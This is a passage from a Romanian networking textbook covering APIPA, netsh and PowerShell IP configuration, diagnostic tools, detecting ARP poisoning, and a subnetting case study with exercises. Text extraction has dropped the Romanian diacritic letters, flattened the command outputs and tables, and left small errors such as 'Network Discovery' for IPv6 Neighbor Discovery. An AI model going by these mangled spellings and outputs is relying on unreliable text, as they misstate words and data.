n cazul n care n aria de broadcast a unui client nu este localizat un server DHCP, un client ce a fost configurat s i obin configuraia IP n mod automat va recurge la informaiile din configuraia IP alternativ, dac aceasta a fost definit. Asignarea unei configuraii alternative se face prin selectarea paginii Alternate Configuration din ferestrea de configurare Internet Protocol Version 4 (TCP/IPv4) Properties. Configuraia alternativ suport specificarea unei adrese IP, a unei mti de reea, a unui default gateway, a unuia sau a dou servere DNS i a unuia sau a dou servere WINS.

121 | A d r e s a r e a I P

3-19: Fereastra pentru configuraia IPv4 alternativ Deoarece o configuraie alternativ permite unui calculator s foloseasc o configuraie IP specific i detaliat n momentul n care nu se detecteaz un server DHCP n reeaua local, ea este util pentru sistemele mobile care circul ntre reele, unele cu servere DHCP iar altele fr. Pentru IPv6 nu se poate specifica o configuraie alternativ.

3.4.6 Asignarea automat a adreselor private (APIPA)


APIPA este un acronim pentru Automatic Private IP Addressing i reprezint o facilitate de asignare automat a adreselor locale n reele temporare sau ad hoc. Cnd un calculator ce ruleaz Windows a fost configurat s i obin configuraia IP n mod automat, dac nu exist un server DHCP n reeaua local i nici configuraia alternativ nu a fost specificat, el va folosi APIPA pentru a-i asigna o adres privat din intervalul 169.254.0.1 169.254.255.254 (se observ c masca de reea este 255.255.0.0). n mod implicit, toate calculatoarele sunt setate s foloseasc APIPA n cazul n care nu primesc rspuns de la un server DHCP din reeaua local. Mai exact, dup cum se observ din figura 3-19, n fereastra de configurare alternativ este bifat, implicit, opiunea Automatic Private IP Address ceea ce evideniaz att lipsa unei configuraii alternative ct i utilizarea APIPA. Practic, se poate considera c, n lipsa unui server DHCP, este folosit ntotdeauna configuraia alternativ, chiar i n cazul n care aceasta specific folosirea APIPA. APIPA este o tehnic util pentru c ea permite calculatoarelor aflate n acelai domeniu de broadcast s comunice chiar i n lipsa unui server DHCP sau a oricrui alt tip de configuraie manual. De asemenea, ea reprezint o soluie alternativ i pentru situaia n care un server DHCP devine nefuncional1. Dac la un moment de tip ulterior serverul DHCP redevine operaional, configuraia automat va dobndi prioritate naintea celei setate de

Totui, dac un server DHCP devine neoperaional, staiile vor recurge la APIPA doar dup expirarea timpului de nchiriere a ultimei configuraii obinute de la acesta, deci trecerea nu se va face instantaneu.

122 | R e e l e L o c a l e

APIPA i o va rescrie, staiile continundu-i comunicaia folosind schema de adresare oferit de serverul DHCP1. n practic, se poate detecta momentul n care APIPA a intrat n funciune dac dou sau mai multe calculatoare din reea pot comunica ntre ele dar nu i cu altele sau n afara reelei. O practic recomandat n acest caz este verificarea configuraiei IP a staiilor pentru a indentifica prezena adreselor oferite de APIPA i verificarea funcionrii i a accesului la serverul DHCP. Exist i o serie de limitri importante ce trebuie avute n vedere n momentul n care staiile sunt configurate prin APIPA. Spre exemplu, calculatoarele configurate astfel vor putea comunica doar cu alte calculatoare configurate prin APIPA din acelai domeniu de broadcast (din considentele adresrii IP n interiorul unei reele locale, vor fi acceptate doar pachetele care aparin reelei calculate din adresa IP i masca configurat pe interfa). De asemenea, staiile ce folosesc APIPA nu vor putea avea acces la Internet i nu se pot configura adrese pentru servere DNS sau WINS i nu se poate specifica niciun default gateway.
Ethernet adapter Local Area Connection: Connection-specific DNS Link-local IPv6 Address IPv4 Address. . . . . . Subnet Mask . . . . . . Default Gateway . . . . Suffix . . . . . . . . . . . . . . . . . . . . . : : fe80::525:fc37:994d:636f%14 : 169.254.216.1 : 255.255.255.0 :

3-20: Exemplu de configuraie APIPA (fragment rezultat ipconfig) APIPA reprezint varianta Microsoft de Zero Configuration. n mod general, tehnica pentru IPv4 poart numele de adresare tip IPV4LL (IPv4 Link Local). Mai multe detalii despre adresele locale automate IPv4 pot fi consultate n RFC 39272 iar pentru IPv6 n RFC 48623.

3.5 Configurarea din linia de comand


Pentru inspectarea i modificarea configuraiei IP din linie de comand, Windows Server 2008 pune la dispoziie utilitarul netsh. Comanda poate fi folosit ca un prompt de comand, introducnd doar netsh n cmd.exe sau n PowerShell (ca mai jos) sau se poate scrie fiecare comand cu parametrii complei pentru a primi imediat un rezultat.
PS C:\Users\Administrator> netsh netsh>

n general, navigarea prin comenzile disponibile n netsh se poate face treptat, n sensul c la fiecare adugare a unui parametru, dac acesta nu constituie o comand complet, netsh va afia o list cu toi parametrii suportai n continuare, mpreun cu o scurt explicaie a lor. Spre exemplu, dac se dorete vizualizarea tuturor comenzilor de tip show, se poate introduce urmtoarea comand:
PS C:\Users\Administrator> netsh interface ipv4 show The following commands are available: Commands in this context: show addresses - Shows IP address configurations. show compartments - Shows compartment parameters. show config - Displays IP address and additional information. show destinationcache - Shows destination cache entries. show dnsservers - Displays the DNS server addresses. show dynamicportrange - Shows dynamic port range configuration parameters.
1

Explicaia pentru acest comportament st n faptul c o staie care recurge la APIPA o va face pentru c este setat s obtin o configuraie automat i nu a reuit acest lucru. Deci, practic, nlocuirea configuraiei APIPA cu cea prin DHCP se face deoarece configuraia primar are prioritate n faa celei alternative. 2 http://tools.ietf.org/html/rfc3927 3 http://tools.ietf.org/html/rfc4862

123 | A d r e s a r e a I P
show global - Shows global configuration parameters. show icmpstats - Displays ICMP statistics. show interfaces - Shows interface parameters. show ipaddresses - Shows current IP addresses. [...]

Se observ c se pot afia la acest pas configuraiile de pe fiecare interfa, serverele DNS configurate, statistici, rute, conexiunile active i o multitudine de alte informaii. n exemplul urmtor se dorete stabilirea unei configuraii statice pe o anumit interfa. Pentru aceasta, este necesar s se ruleze nti o comand show care s listeze interfeele de reea mpreun cu numerele lor de ordine:
PS C:\Users\Administrator> netsh interface ipv4 show interfaces Idx --1 16 10 12 14 17 Met MTU State Name --- ----- ----------- ------------------50 4294967295 connected Loopback Pseudo-Interface 1 40 1500 connected Wireless Network Connection 30 1500 disconnected Local Area Connection 20 1500 connected Local Area Connection 2 20 1500 connected Local Area Connection 3 40 1500 disconnected Local Area Connection 4

Dac se dorete modificarea configuraiei pentru interfaa wireless, spre exemplu, din rezultatul obinut mai sus se reine valoarea cmpului Idx din dreptul lui Wireless Network Connection (16 n cazul de fa). n continuare, pentru a seta configuraia static pe interfaa wireless, se ruleaz comanda urmtoare. Valoarea folosit pentru parametrul name reprezint indexul interfeei returnat de comanda show precedent:
netsh interface ipv4 set address mask=255.255.255.0 gateway=192.168.100.1 name=16 source=static address=192.168.100.75

Din moment ce prezena unui server DNS este important pentru funcionarea oricrei reele conectate la Internet i critic ntr-o configuraie Active Directory, se poate aduga adresa unui server DNS folosind netsh n modul urmtor, folosind acelai index al interfeei pentru a o identifica:
netsh interface ipv4 add dnsserver name=16 address=192.168.100.40

Adugarea unui server DNS folosind netsh permite specificarea unui parametru suplimentar, index, care permite numerotarea i, implicit, introducerea mai multor servere DNS. Prin intermediul PowerShell se poate obine rapid o list detaliat a tuturor interfeelor de reea instalate n sistem, prin urmtoarea comand
Get-WmiObject -Class Win32_NetworkAdapterConfiguration

n continuare, folosind Win32_NetworkAdapterConfiguration prin WMI i extinznd comanda anterioar printr-o comand de formatare a rezultatului, se pot obine o list simplificat a configuraiilor IP ale interfeelor de reea i din PowerShell:
PS C:\Users\Administrator> get-wmiobject table IPAddress, Description -autosize IPAddress --------[...] Win32_NetworkAdapterConfiguration | format-

Description -----------

Broadcom 440x 10/100 Integrated Controller {192.168.1.2, fe80::14c8:f79a:2ed7:74a6} Dell Wireless 1390 WLAN Mini-Card #3 {192.168.13.1, fe80::9dd5:cc72:ab31:8927} VMware Virtual Ethernet Adapter for VMnet1 {192.168.216.1, fe80::525:fc37:994d:636f} VMware Virtual Ethernet Adapter for VMnet8 Bluetooth LAN Access Server Driver [...]

3-21: Returnarea interfeelor i a adreselor IPv4 i IPv6 corespunztoare Pentru o listare doar a adreselor IP, se poate folosi i varianta urmtoare a comenzii:

124 | R e e l e L o c a l e
PS C:\> Get-WmiObject -Class Win32_NetworkAdapterConfiguration -Filter IPEnabled=TRUE ComputerName . | Select-Object -Property IPAddress IPAddress --------{192.168.1.2, fe80::14c8:f79a:2ed7:74a6} {192.168.13.1, fe80::9dd5:cc72:ab31:8927} {192.168.216.1, fe80::525:fc37:994d:636f}

Rezultatului obinut mai sus i s-a aplicat un filtru dup proprietatea IPEnabled pentru a selecta doar interfeele care au adrese configurate. Parametrul ComputerName urmat de punct (.) reprezint maina local iar trimiterea prin pipe (|) comenzii Select-Object cu parametrul Property setat indic afiarea doar a proprietii IPAddress a fiecrui obiect returnat. Din toate comenzile anterioare ce returneaz obiecte cu anumite propriti se observ c PowerShell afieaz implicit doar cteva dintre ele. Pentru a afia toate proprietile unui obiect sau, ca n cazul de fa, toate informaiile despre conexiunile de reea, se poate folosi comanda Select-Object cu parametrul Property, ca i mai sus, dar specificndu-i-se acestuia s afieze toate proprietile printr-un wildcard (*):
PS C:\Users\Administrator> Filter IPEnabled=TRUE -ComputerName DHCPLeaseExpires Index Description DHCPEnabled DHCPLeaseObtained DHCPServer DNSServerSearchOrder IPAddress IPEnabled DefaultIPGateway InterfaceIndex IPSubnet MACAddress [...] Get-WmiObject -Class Win32_NetworkAdapterConfiguration .| Select-Object -Property * -ExcludeProperty IPX*,WINS* : 20080809144238.000000+120 : 7 : Dell Wireless 1390 WLAN Mini-Card #3 : True : 20080809134238.000000+120 : 192.168.1.1 : {192.168.1.1} : {192.168.1.2, fe80::14c8:f79a:2ed7:74a6} : True : {192.168.1.1} : 16 : {255.255.255.0, 64} : 00:19:7E:11:91:64 -

3-22: Afiarea tuturor proprietilor unei interfee Comanda de mai sus returneaz informaii detaliate despre configuraia IP, TCP, DNS, rute, parametrii ai protocolului IP i diferite alte capabiliti ale interfeei. O comand util pentru aflarea adrese IP externe de pe o staie dintr-o reea local care folosete o adres privat1 este cea de mai jos, ce prelucreaz rezultatul unei pagini returnate n urma unei cereri HTML:
PS C:\> $webc = New-Object system.net.webclient PS C:\> $webc.DownloadString("http://checkip.dydns.com") -replace "[^\d\.] 78.3.73.215

3.5.1 Verificarea unei conexiuni


Pe lnga tehnicile de verificare a strii conexiunilor descrise n seciunea 3.4.3 exist o serie de utilitare n linie de comand, ca ping, tracert, pathping i arp ce mai pot fi folosite pentru a detecta anumite probleme ntr-o reea. Toate acestea pot fi folosite att din promptul de comand ct i din PowerShell. Utilitarul ping verific doar conectivitatea pn la nivelul 3 cu o anumit destinaie. Comportamentul su este asemntor cu cel din Linux, cu diferena c implicit va trimite doar 4 pachete ICMP. Pentru o list cu parametrii suportai se folosete comanda sub forma ping

De reinut faptul c o comand precum ipconfig (sau alte comenzi PowerShell ce analizeaz interfeele) va afia adresa configurat pe interfa, care poate fi o adres privat, chiar dac staia are conectivitate la Internet prin intermediul unui gateway.

125 | A d r e s a r e a I P
/?.

Din aceast list se observ c pentru a trimite mai multe pachete, comanda accept parametrul n urmat de numrul dorit.
PS C:\Users\Administrator> ping google.com Pinging google.com [64.233.167.99] Reply from 64.233.167.99: bytes=32 Reply from 64.233.167.99: bytes=32 Reply from 64.233.167.99: bytes=32 Reply from 64.233.167.99: bytes=32 with 32 bytes of data: time=162ms TTL=246 time=163ms TTL=246 time=163ms TTL=246 time=173ms TTL=246

Ping statistics for 64.233.167.99: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 162ms, Maximum = 173ms, Average = 165ms

3-23: Rezultatul unei comenzi ping Utilitarul tracert funcioneaz pe acelasi protocol ca i utilitarul ping dar urmrete calea pn la destinaie, returnnd adresa fiecrui router de pe parcurs. Este util pentru a detecta locul n care se e posibil s fi avut loc o ntrerupere n calea de la surs la destinaie.
PS C:\Users\Administrator> tracert yahoo.com Tracing route to yahoo.com [206.190.60.37] over a maximum of 30 hops: 1 2 3 4 5 6 7 8 9 10 3 30 27 31 41 143 155 157 158 153 ms ms ms ms ms ms ms ms ms ms 38 26 25 39 41 143 155 155 156 153 ms ms ms ms ms ms ms ms ms ms 8 25 25 35 41 143 156 150 156 154 ms ms ms ms ms ms ms ms ms ms mygateway1.ar7 [192.168.1.1] 172.29.252.46 172.29.32.153 gtr10-gtr11.ip.t-com.hr [195.29.240.97] mil8-hpt-11.mil.seabone.net [195.22.196.81] ash2-new11-racc3.new.seabone.net [195.22.216.207] g2-12-bas2.dce.yahoo.com [206.223.115.2] ae1-p141.msr1.re1.yahoo.com [216.115.108.19] ge-9-3.bas-a1.re4.yahoo.com [216.39.49.3] yahoo.com [206.190.60.37]

3-24: Rezultatul unei comenzi tracert Se observ c adresa fiecrui router de pe parcurs este tradus n numele su conform domeniului DNS creia i aparine. Rezolvarea acestor adrese poate ntrzia mult rezultatul lui tracert. Pentru a mpiedica rezolvarea adreselor n nume se poate folosi parametrul d. Utilitarul pathping se aseamn cu tracert, cu excepia faptului c scopul su este de a localiza legturile dintre surs i destinaie care pierd ocazional pachete. Pathping trimite ping-uri fiecrui router de pe parcurs, pn la destinaie i calculeaz numrul de rspunsuri primite de la fiecare, artnd procentajul de pachete pierdute pe fiecare legtur.
D:\>pathping -n statia1 Tracing route to statia1 [10.54.1.196] over a maximum of 30 hops: 0 172.16.87.35 1 172.16.87.218 2 192.168.52.1 3 192.168.80.1 4 10.54.247.14 5 10.54.1.196 Computing statistics for 125 seconds... Source to Here This Node/Link Hop RTT Lost/Sent = Pct Lost/Sent = Pct 0 0/ 100 = 0% 1 41ms 0/ 100 = 0% 0/ 100 = 0% 13/ 100 = 13% 2 22ms 16/ 100 = 16% 3/ 100 = 3% 0/ 100 = 0% 3 24ms 13/ 100 = 13% 0/ 100 = 0% 0/ 100 = 0% 4 21ms 14/ 100 = 14% 1/ 100 = 1% 0/ 100 = 0% 5 24ms 13/ 100 = 13% 0/ 100 = 0% Trace complete.

Address 172.16.87.35 | 172.16.87.218 | 192.168.52.1 | 192.168.80.1 | 10.54.247.14 | 10.54.1.196

126 | R e e l e L o c a l e

3-25: Rezultatul unei comenzi pathping Att ping, pathping ct i tracert sunt utilitare care se bazeaz pe funcionarea protocolului de nivel 3 ICMP (Internet Control Message Protocol). Totui, traficul ICMP este implicit blocat de ctre Windows Firewall att n Windows Vista ct i n Windows Server 2008 i poate fi, de asemenea, blocat de unele routere sau alte firewall-uri (hardware sau software). n consecin, o practic util naintea testrii conectivitii prin unul dintre utilitarele enumerate mai sus o reprezint verificarea permisiunilor pentru protocolul ICMP cel puin prin firewall-urile sursei i destinaiei. De notat faptul c excepia n Windows Firewall pentru ICMP se poate aduga extrem de uor i doar prin activarea file sharing-ului. ARP reprezint att numele unui utilitar ct i al unui protocol. Protocolul ARP (Address Resolution Protocol) este folosit pentru a menine asocierea dintre adresele IPv4 din reeaua local i adresele fizice, MAC ale interfeelor, pentru a se putea realiza adresarea la nivelul 2 n interiorul unui LAN. Utilitarul arp ofer posibilitatea de a vizualiza i a modifica aceste asocieri. Vizualizarea asocierilor memorate prin protocolul ARP este util pentru identificarea unor asocieri incorecte. Spre exemplu, n cazul conectrii unor maini virtuale printr-o reea local, utilitarul arp poate indica o eroare prin faptul c cele dou maini virtuale folosesc aceeai adres MAC. Tot prin analizarea asocierilor se poate indica i probabilitatea unui atac de tip ARP poisoning, n care atacatorul introduce forat n tabelele ARP ale staiilor propria adres MAC, de regul asociat cu adresa IP a gateway-ului, interceptnd astfel traficul destinat n afara reelei. Mai jos este exemplificat rezultatul comenzii arp a pentru o memorie ARP supus unui atac de tip ARP poisoning. Se observ c adresele IP 192.168.1.1, 192.168.1.52 i 192.168.1.53 sunt toate asociate aceleiai adrese fizice, 00-19-5b-22-31-a3. ntr-un astfel de caz, dac una dintre adresele 192.168.1.52 sau 192.168.1.53 aparine atacatorului iar 192.168.1.1 este adresa gateway-ului, acesta va intercepta toate pachetele trimise de la staia curent n exteriorul reelei locale (n mod normal, spre gateway).
PS C:\Users\Administrator> arp -a Interface: 192.168.1.2 --- 0x10 Internet Address Physical Address 192.168.1.1 00-19-5b-22-31-a3 192.168.1.50 00-18-3a-78-99-f0 192.168.1.52 00-19-5b-22-31-a3 192.168.1.53 00-19-5b-22-31-a3 192.168.1.64 00-1d-60-1c-b5-35 [...] Type dynamic dynamic dynamic dynamic dynamic

3-26: Comanda arp -a i ARP poisoning Protocolul ARP nu funcioneaz pentru IPv6. n cazul lui IPv6, maparea adreselor IP la adrese MAC se face printr-un protocol denumit ND (Network Discovery). Drept urmare atacurile de tip ARP poisoning nu funcioneaz n reele ce folosesc adresarea prin IPv6.

3.5.2 Configurri statice i dinamice prin PowerShelL


Avantajele PowerShell-ului stau n primul rnd n posibilitatea de a automatiza sarcini complexe sau consumatoare de timp. n practic, o configuraie static sau dinamic a parametrilor de reea, fcut din PowerShell nu e cu nimic diferit de una obinut prin netsh sau prin intermediul Network Connections, dar pentru reele mari sau pentru situaii n care configurarea poate deveni mai complex sau particular pentru anumii utilizatori sau sisteme, este de dorit utilizarea avantajelor oferite de PowerShell, att din punctul de vedere al complexitii ct i din cel al uurinei de automatizare i rspndire a scripturilor.

127 | A d r e s a r e a I P

Pentru setarea configuraiilor dinamice sau statice asupra interfeelor de reea se va folosi WMI i clasa Win32_NetworkAdapterConfiguration care permite modificarea parametrilor necesari pentru a realiza aceasta.

3.5.2.1 Activarea configurrii automate


Pentru a configura interfeele de reea din sistem s i obin configuraiile automat, prin DHCP, se poate crea un script prin paii urmtori:
1. Clasa Win32_NetworkAdapterConfiguration deine o multitudine de metode i proprieti ce pot fi enumerate prin comanda Get-Member. Se observ c deine o metod numit EnableDHCP i o proprietate IPEnabled ce vor fi folosite n continuare:
Get-WmiObject win32_networkadapterconfiguration | Get-Member

2. Pentru a activa configuraia prin DHCP, trebuie rulat metoda EnableDHCP n contextul fiecrei interfee de reea. n consecin, se obine o list a interfeelor filtrate dup cele capabile de configuraii IP, pentru a exclude interfeele ce folosesc NetBEUI, IPX/SPX, AppleTalk, etc, i se ruleaz metoda de mai sus pentru fiecare interfa obinut astfel. Scriptul care realizeaz aceasta este urmtorul:
$interfete = Get-WmiObject Win32_NetworkAdapterConfiguration | Where {$_.IPEnabled -eq "TRUE"} foreach($interfata in $interfete) {$interfata.EnableDHCP()}

3. n acest moment, dac se analizeaz starea configuraiei din Network Connections, se va observa faptul c interfeele sunt, intr-adevr, configurate pentru a-i obine parametrii IP prin DHCP, dar c serverele DNS sunt n continuare setate la valorile statice. Pentru aceasta, se va folosi metoda SetDNSServerSearchOrder cu parametru nul. Metoda primete, de fapt, o list de servere DNS pe care o va configura pe interfaa respectiv n ordinea n care au fost trimise ca parametri. n cazul n care nu primete un parametru ce descrie un server DNS, metoda va activa configurarea automat pentru serverele DNS. Scriptul se completeaz cu o linie:
$interfete = Get-WMIObject Win32_NetworkAdapterConfiguration | where{$_.IPEnabled -eq "TRUE"} foreach($interfata in $interfete) { $interfata.EnableDHCP() $interfata.SetDNSServerSearchOrder() }

4. Se poate folosi acum comanda ipconfig /all pentru a verifica noua configuraie. Dac s-a realizat cu succes contactarea serverului DHCP, trebuie s fie vizibil i intervalul de timp pentru care configuraia automat este valid (valorile Lease Obtained i Lease Expires).

3.5.2.2 Activarea configurrii statice


Din lista de metode obinut anterior se selecteaz acele metode ce seteaz parametrii unei configuraii statice i se includ n scriptul urmtor:
$interfete = Get-WMIObject Win32_NetworkAdapterConfiguration | where{$_.IPEnabled -eq "TRUE"} foreach($interfata in $interfete) { $interfata.EnableStatic("192.168.171.42", "255.255.255.0") $interfata.SetGateways("192.168.171.1") $DNSServers = "198.102.234.125","198.102.234.126" $interfata.SetDNSServerSearchOrder($DNSServers) $interfata.SetDynamicDNSRegistration("TRUE") $interfata.SetWINSServer("198.102.234.125", "198.102.234.126") }

Drept rezultat, sunt configurate cu valori statice: adresa IP, masca de reea, default gateway-ul, servere DNS (principal i secundar) i servere Wins. Configuraia complet poate fi verificat de la proprietile conexiunii, TCP/IP Properties, la categoria Advanced. Aici pot fi vizualizate configuraiile IP, DNS i WINS. Din moment ce PowerShell lucreaz cu tipuri de date bine definite, este important de remarcat tipurile unor parametri folosii n scriptul de mai sus:

128 | R e e l e L o c a l e Metoda EnableStatic primete doi parametri, adresa IP i masca de reea corespunztoare; Metoda SetDNSServerSearchOrder primete un vector de iruri ce identific serverele, ce este definit anterior n variabila $DNSServers; Metoda SetDynamicDNSRegistration primete o valoarea boolean i specific faptul c sistemul va ncerca nregistrarea automat a adresei sale de reea n coresponden cu numele calculatorului (cel definit la System Properties, din Control Panel), prin DNS. Facilitatea este util n cazul n care o staie i schimb reeaua din care face parte iar adresarea n interiorul reelei se face parial sau preponderent pe baz de nume; Metoda SetWINSServer primete direct doi parametri, ce reprezint serverul primar i cel secundar, i nu un vector, ca n cazul serverelor DNS.

3.6 Studiu de caz


O universitate a decis crearea n cadrul campusului a unei reele informatice cu acces la Internet i a obinut urmtorul spaiu de adrese: 210.89.32.0/24. Reeaua urmeaz a fi mprit astfel: pentru departamentul de cercetare va exista o subreea de 13 calculatoare, pentru laboratoare 2 subreele a cte 25 de calculatoare, pentru secretariat o subreea de 9 calculatoare iar n cmin va exista o subreea cu 50 de calculatoare.
1. 2. 3. 4. 5. Care este clasa din care face parte spaiul de adrese primit? Cum trebuie mprit spaiul de adrese pentru a respecta cerinele problemei? Ce adresa vom aloca gateway-ului (ruterului de ieire din reea) pentru reeaua din cmin? Care este adresa de difuzare pentru reeaua departamentului de cercetare? Cte adrese de staie sunt disponibile n reeaua utilizat de ctre secretariat? Care sunt aceste adrese? 6. Care este a 5-a adres de staie din primul laborator?

Rspunsuri
1. Exprimarea zecimal a primului octet din adresa de reea disponibil este cuprins n intervalul [192 223+, ceea ce nseamn c primii trei bii ai acestui octet sunt 110, deci adresa primit aparine clasei C. 2. Pentru a rezolva problema trebuie create cele cinci subreele descrise n enun. Mai nti vom ncerca s mprim spaiul disponibil astfel nct toate reelele s poat conine acelai numr de staii. Pentru aceasta trebuie s decidem ci bii sunt necesari pentru definirea unei subreele (astfel nct s putem crea 5 distincte). Rspunsul la aceast ntrebare este dat de cea mai mic putere a lui 2 care genereaz un numr mai mare sau egal cu necesarul de reele. n cazul nostru, 23=8 i 8 este mai mare dect 5, aadar, pentru a crea 5 subreele sunt necesari 3 bii. Aceti trei bii (de subreea) se vor aduga n continuarea mtii de reea a spaiului ce urmeaz a fi mprit, formnd noua masc de reea pentru noile subreele. Masca de reea pentru o clas C este /24, adic este format din primii 24 de bii consecutivi; adugnd n continuarea acestora nc trei, obinem masca /27 (255.255.255.224).
210 . 89 . 32 . 0 0 0 3 bii subreea 000 00000 001 00000 0 0 0 0 0 5 bii staie /27 /27 prima subreea a doua subreea 24 de bii reea 210. 89. 32. 210. 89. 32. [...]

Cele 8 subreele ce pot fi definite sunt identificate prin biii de subreea:

Numrul de bii rmai disponibili pentru cmpul de staie este 5 (32 27). nseamn c putem avea cte 25-2 = 32-2 = 30 de adrese de staie n fiecare subreea. Acest lucru nu corespunde ns cu cerinele problemei: reeaua din cmin trebuie s conin 50 de staii. Pentru a satisface cerinele impuse de problem trebuie folosite mti de reea cu lungime variabil.

129 | A d r e s a r e a I P

Se ia reeaua cu cel mai mare numr de staii necesar, n cazul de fa, reeaua din cmin, cu 50 de staii, i se va decide ci bii sunt necesari pentru a defini 50 de adrese de staie. Cum nu putem utiliza adresa de reea (cea n care toi biii de staie sunt 0) i nici adresa de difuzare (cea n care toi biii de staie sunt 1), trebuie gsit cea mai mic putere a lui 2 ce genereaz un numr cu cel puin doi mai mare dect numrul necesar. n cazul de fa, 2 6-2 = 64 2 = 62 i 62 este mai mare dect 50, ceea ce nseamn c sunt necesari 6 bii pentru asigurarea spaiului de adrese pentru reeaua din cmin. Prin folosirea a 6 bii din cei 8 disponibili, rezult c pentru a defini subreeaua ne mai rmn 2 bii, adic prefixul noi subreele va fi /26. Adresa de reea pentru reeaua din cmin este 210. 89. 32. 01 000000 /26, adic 210.89.32.64 /26. Au mai rmas de definit reelele pentru laboratoare, cercetare i secretariat. Numrul cel mai mare de staii este cel pentru reelele din laborator, 25 de staii. Vom proceda la fel ca mai sus, alegnd numrul de bii necesar pentru definirea adreselor de staii. Acesta este 5 (252 = 30 i 30 > 25). Pentru reeaua din cmin am folosit una dintre cele 4 reele /26 pe care leam creat. Putem mpri o reea /26 n dou reele /27 prin extinderea mtii de reea cu un bit. Spre exemplu, a treia reea /26 creat: 210. 89.32. 10 00000 /26, adic 210. 89.32. 128 /26 are 32-26 = 6 bii disponibili (neacoperii de masca de reea). Aceti bii pot fi mprii la rndul lor (aa cum am fcut cu spaiul iniial) n bii de reea i bii de staie. Cum noi avem nevoie de 5 bii pentru staii ntr-o reea de laborator, mai rmne un bit pentru subreea. Cu un bit putem defini dou reele (21, deoarece cu un bit putem reprezenta 2 valori). n problema noastr, exact de dou reele a cte 25 de calculatoare este nevoie. Aadar, mprim a treia reea /26 n 2 reele /27 i obinem cele dou reele pentru laboratoare:
210.89.32.10000000 210.89.32.10100000 /26 /26 = = 210.89.32.128 210.89.32.160 /26 /26

Reeaua pentru departamentul de cercetare va conine 13 staii, iar cea pentru secretariat 9. Cea mai mic putere a lui 2 care genereaz un numr mai mare cu cel puin 2 dect 13 este 4. La fel i pentru 9. nseamn c mai avem de creat 2 reele cu cte 4 bii pentru definirea adreselor de staie. Cea de-a patra reea /26 : 210.89.32. 11 000000, adic 210.89.32.192 are 6 bii disponibili. Cu aceti bii trebuie s crem 2 reele cu maxim 14 staii. Putem alege s folosim un singur bit pentru a extinde masca de reea i vom obine 2 reele iar cu cei 5 bii rmai putem defini cte 25 2 = 30 de adrese de staie; sau, putem alege s extindem cu 2 bii masca de reea, pentru a forma 4 subreele a cte 14 staii. n primul caz rmn adrese de staie nefolosite, n al doilea caz rmn 2 subreele disponibile pentru alte utilizri. Dei problema nu specific nici un fel de constrngeri n acest sens, vom alege s folosim 2 bii pentru subreea, adic s mprim reeaua /26 n patru subreele /28 i s folosim 2 dintre ele pentru departamentul de cercetare i secretariat. Pentru departamentul de cercetare alegem a 2-a subreea din cele 4 create iar pentru secretariat pe a 3-a. Adresele celor dou reele vor fi:
210.89.32.11010000 /28 210.89.32.11100000 /28 = 210.89.32.208 /28 Reeaua cercetare = 210.89.32.224 /28 Reeaua secretariat

3. n realitate, se poate aloca gateway-ului orice adres valid de staie, exist ns o convenie de care bine s inem cont. Prin convenie, pentru gateway se folosete prima adres valid de staie, adic, n cazul reelei din cmin, reprezentarea binar a lui 1 pe 6 bii (cinci de 0 urmai de un 1). Adresa gateway-ului pentru reeaua din cmin:
210.89.32.01000001 /26 = 210.89.32.65 /26

4. Adresa de reea pentru reeaua destinat departamentului de cercetare este:


210.89.32.208 /28 = 210.89.32.11010000 /28

Adresa de difuzare este cea care are toi biii de staie sunt 1:
210.89.32.11011111 /28 adic 210.89.32.223 /28

130 | R e e l e L o c a l e 5. Adresa reelei utilizate de ctre secretariat este


210.89.32.224 /28 = 210.89.32.11100000 /28

Cu cei patru bii din zona de staie putem defini 16 adrese. ntruct nu putem folosi adresa de reea i nici adresa de broadcast, rezult c rmn 14 adrese valide pentru staii. Acestea sunt:
210.89.32.11100001 /28 prima adres de staie [...] 210.89.32.11101110 /28 ultima adres de staie

Cu alte cuvinte, adresele alocabile staiilor pentru secretariat sunt cele cuprinse n intervalul de adrese 210.89.32.225 210.89.32.238 6. Considerm c primul laborator este cel cu adresa de reea 210.89.32.128 /26. Cea de-a 5-a adres de staie este:
210. 89. 32.10000101 /26, adic 210.89.32.133 /26

131 | A d r e s a r e a I P

ntrebri

1. Care dintre adresele de mai jos reprezint o adres valid de staie: 150.100.2.8/25 177.1.1.192/26 195.3.15.8/22 200.1.1.63/27 2. Care dintre adresele de mai jos poate fi o adres de reea pentru prefixul /26? 209.110.19.64 230.14.3.0 120.4.77.196 89.13.13.26 3. Fie o reea local cu un switch, 3 staii i un router pentru conectarea la Internet. Care este numrul maxim de intrri n tabela ARP a unei staii? 2 3 4 mai mare de 4 4. Din reteaua 192.64.12.0 /24 putem crea: a) 62 de subretele a cate 2 statii? b) 6 subretele a cate 30 de statii? c) 8 subretele a cate 32 de statii? d) 16 subretele cu cate 16 statii? e) 14 subretele cu cate 14 statii? 5. Care dintre urmatoarele adrese IP sunt rutabile? a) 142.2.16.79 /28 b) 150.12.180.40 / 29 c) 19.0.27.0 /20 6. Pentru adresa IP 196.36.44.12 /22 a) scrieti adresa de retea si adresa de broadcast b) care este prima si ultima adresa asignabila din retea? c) care este adresa urmatoarei retele? 7. Pentru adresa IP 196.36.44.12 a) identificati clasa de adrese din care face parte b) scrieti adresa de retea si adresa de broadcast c) care este prima si ultima adresa asignabila din retea? d) care este adresa urmatoarei retele? 8. Fie spaiul de adrese 188.88.0.0 /23. Dac trebuie mprit n 10 subreele, care va fi adresa celei de-a 29-a staii din cea de-a 5-a subreea?

132 | R e e l e L o c a l e

4 Rutarea n Internet
If you asked a hundred people walking down the street...I would bet you that 90 of them, if not 99 of them, would ask, 'What's a router?' Stewart Wolpin

Ce se nva din acest capitol?


Ce este o tabel de rutare Tipuri de rute folosite pentru rutarea traficului Protocoale de rutare Diferene ntre protocoalele de rutare i protocoalele rutate Tipuri de protocoale de rutare Configurarea rutrii n Linux Configurarea rutrii n Windows

Cine este...
Len Bosack i Sandy Lerner sunt co-fondatory Cisco Systems. Bosack i Lerner sunt creatorii primului router multi-protocol, dispozitiv care s-a dovedit un succes comercial. n 1990, Bosack i Lerner au prsit Cisco i au vndut aciunile pentru o valoare estimat de 170 de milioane de dolari.

4.1 Protocoale de rutare i protocoale rutate


4.1.1 Ce este Internetul?
Dei Internetul este un termen ntlnit la tot pasul n domeniul calculatoarelor, definiia sa nu este foarte clar. Ce este Internetul? Un rspuns frecvent spune c Internetul este ansamblul tuturor reelelor interconectate. Problema cu aceast definiie este c este o definiie descriptiv i, dei adevrat n cele din urm, este n mare parte irelevant.
Dac un calculator nou este conectat la un alt calculator, va fi noul calculator parte din Internet?

